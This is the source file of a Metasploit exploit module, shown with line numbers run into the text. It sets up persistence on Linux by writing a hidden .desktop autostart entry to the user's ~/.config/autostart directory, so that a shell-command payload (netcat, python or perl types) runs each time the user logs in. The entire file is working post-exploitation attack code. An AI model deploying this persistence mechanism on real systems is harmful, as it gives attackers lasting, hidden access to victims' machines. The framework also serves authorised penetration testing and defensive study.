Path: blob/master/modules/exploits/linux/local/autostart_persistence.rb
19823 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78include Msf::Post::File9include Msf::Post::Unix1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Autostart Desktop Item Persistence',16'Description' => %q{17This module will create an autostart entry to execute a payload.18The payload will be executed when the users logs in.19},20'License' => MSF_LICENSE,21'Author' => [ 'Eliott Teissonniere' ],22'Platform' => [ 'unix', 'linux' ],23'Arch' => ARCH_CMD,24'Payload' => {25'BadChars' => '#%\n"',26'Compat' => {27'PayloadType' => 'cmd',28'RequiredCmd' => 'generic python netcat perl'29}30},31'SessionTypes' => [ 'shell', 'meterpreter' ],32'DefaultOptions' => { 'WfsDelay' => 0, 'DisablePayloadHandler' => true },33'DisclosureDate' => '2006-02-13', # Date of the 0.5 doc for autostart34'Targets' => [ ['Automatic', {}] ],35'DefaultTarget' => 0,36'Notes' => {37'Reliability' => UNKNOWN_RELIABILITY,38'Stability' => UNKNOWN_STABILITY,39'SideEffects' => UNKNOWN_SIDE_EFFECTS40}41)42)4344register_options([ OptString.new('NAME', [false, 'Name of autostart entry' ]) ])45end4647def exploit48name = datastore['NAME'] || Rex::Text.rand_text_alpha(5)4950home = cmd_exec('echo ~')5152path = "#{home}/.config/autostart/#{name}.desktop"5354print_status('Making sure the autostart directory exists')55cmd_exec("mkdir -p #{home}/.config/autostart") # in case no autostart exists5657print_status("Uploading autostart file #{path}")5859write_file(path, [60"[Desktop Entry]",61"Type=Application",62"Name=#{name}",63"NoDisplay=true",64"Terminal=false",65"Exec=/bin/sh -c \"#{payload.encoded}\""66].join("\n"))67end68end697071